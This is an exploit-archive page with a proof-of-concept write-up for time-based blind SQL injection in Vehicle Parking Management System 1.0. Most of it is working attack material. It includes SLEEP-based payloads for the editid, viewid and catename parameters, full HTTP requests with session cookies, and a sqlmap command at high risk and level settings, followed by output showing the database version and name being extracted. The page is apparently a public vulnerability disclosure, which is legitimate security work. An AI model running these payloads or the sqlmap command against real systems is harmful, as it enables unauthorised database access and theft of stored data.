

Search ...

Follow us on Twitter

Subscribe to an RSS Feed

Vehicle Parking Management System 1.0 SQL Injection

Authored by [faisalfs10x](#)

Posted Jul 21, 2021

Vehicle Parking Management System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to gh1mau in July of 2020.

tags | [exploit](#), [remote](#), [sql injection](#)

SHA-256 | 4cd8f0375100e5b08ef632a5d81e17f0c41e7de6fdb847bb2265513d0fccc89 [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change MirrorDownload

```
# Exploit Title: Vehicle Parking Management System - Multiple time-based SQL Injection
# Date: 2021-07-09
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/vehicle-parking-management-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10, XAMPP

#####
# Description #
#####

# The system is vulnerable to time-based SQL injection on multiple endpoints. Based on the SLEEP(N) function
payload that will sleep for a number of seconds used on the mentioned parameters below, the server response is
about (N) seconds delay respectively which mean it is vulnerable to MySQL Blind (Time Based). An attacker can
use sqlmap to further the exploitation for extracting sensitive information from the database.

#####
# PoC of detection #
#####

PoC #1) param editid - time-based SQLi
Payload: '*AND*(SELECT+5+FROM*(SELECT(SLEEP(5))))B)--'
Request: The response duration = 3251 bytes | 5,024 millis
=====

GET /vpms/edit-category.php?editid=5'+AND*(SELECT+5+FROM*(SELECT(SLEEP(5))))B)-- HTTP/1.1
Host: localhost
Cookie: PHPSESSID=0int1pa7lgtioktv5ii907c813
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-category.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---

PoC #2) param viewid - time-based SQLi
Payload: '*AND*(SELECT+5+FROM*(SELECT(SLEEP(5))))B)--'
Request: The response duration = 10234 bytes | 5,027 millis
=====

GET /vpms/view-outgoingvehicle-detail.php?viewid=4*AND*(SELECT+5+FROM*(SELECT(SLEEP(5))))B)-- HTTP/1.1
Host: localhost
Cookie: PHPSESSID=0int1pa7lgtioktv5ii907c813
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-outgoingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---

PoC #3) param catename - time-based SQLi
Payload: ' AND (SELECT 1 FROM (SELECT(SLEEP(2))))A) AND 'B'-'B
Request: The response duration = 10234 bytes | 2,037 millis
=====

POST /vpms/add-category.php HTTP/1.1
Host: localhost
Origin: http://localhost
Cookie: PHPSESSID=0int1pa7lgtioktv5ii907c813
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/add-category.php
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryps90B3CnjLULpt3n
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 290

-----WebKitFormBoundaryps90B3CnjLULpt3n
Content-Disposition: form-data; name="catename"

VIP' AND (SELECT 1 FROM (SELECT(SLEEP(2))))A) AND 'B'-'B
-----WebKitFormBoundaryps90B3CnjLULpt3n
Content-Disposition: form-data; name="submit"

$ee
-----WebKitFormBoundaryps90B3CnjLULpt3n--

---

PoC #4) param viewid - time-based SQLi
Payload: '*AND*(SELECT+7+FROM*(SELECT(SLEEP(3))))A)--'
Request: The response duration = 11452 bytes | 3,041 millis
=====

GET /vpms/view-incomingvehicle-detail.php?viewid=7*AND*(SELECT+7+FROM*(SELECT(SLEEP(3))))A)-- HTTP/1.1
Host: localhost
Cookie: PHPSESSID=0int1pa7lgtioktv5ii907c813
Upgrade-Insecure-Requests: 1
Referer: http://localhost/vpms/manage-incomingvehicle.php
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/91.0.4472.114 Safari/537.36
Connection: close
Cache-Control: max-age=0

---

#####
# PoC of exploitation #
```

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (6,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	

File Archives

Systems

Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	iOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

```
#####
# Run sqlmap to extract current database name:

$ sqlmap -u "http://localhost/vpms/edit-category.php?editid=5" --cookie="PHPSESSID=0lnt1pa7lgticakty5li907c8l3"
--timeout=30 --retries=3 -p "editid" --dbms="MySQL" --level=3 --risk=3 --threads=10 --time-sec=5 -b --current-
db --batch --answers="crack=N,dict=N,continue=Y,quit=N" --technique=T

#####
# Output #
#####

[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[WARNING] heuristic (basic) test shows that GET parameter 'editid' might not be injectable
[INFO] testing for SQL injection on GET parameter 'editid'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[WARNING] time-based comparison requires larger statistical model, please wait.....
(done)
[INFO] GET parameter 'editid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) value? [Y/n]
Y
[INFO] checking if the injection point on GET parameter 'editid' is a false positive
GET parameter 'editid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 58 HTTP(s) requests:
---
Parameter: editid (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: editid=5' AND (SELECT 7492 FROM (SELECT (SLEEP(5))) DaOq)-- OtXt
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching banner
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking
warranty) [y/N] N
[INFO] retrieved:
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to
prevent potential disruptions
10.1.19-MariaDB
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
banner: '10.1.19-MariaDB'
[INFO] fetching current database
[INFO] retrieving the length of query output
[INFO] retrieved: 6
[INFO] retrieved: vpmadb
current database: 'vpmadb'
```

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (676)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

[Login](#) or [Register](#) to add favorites

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us


- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec



Follow us on Twitter



Subscribe to an RSS Feed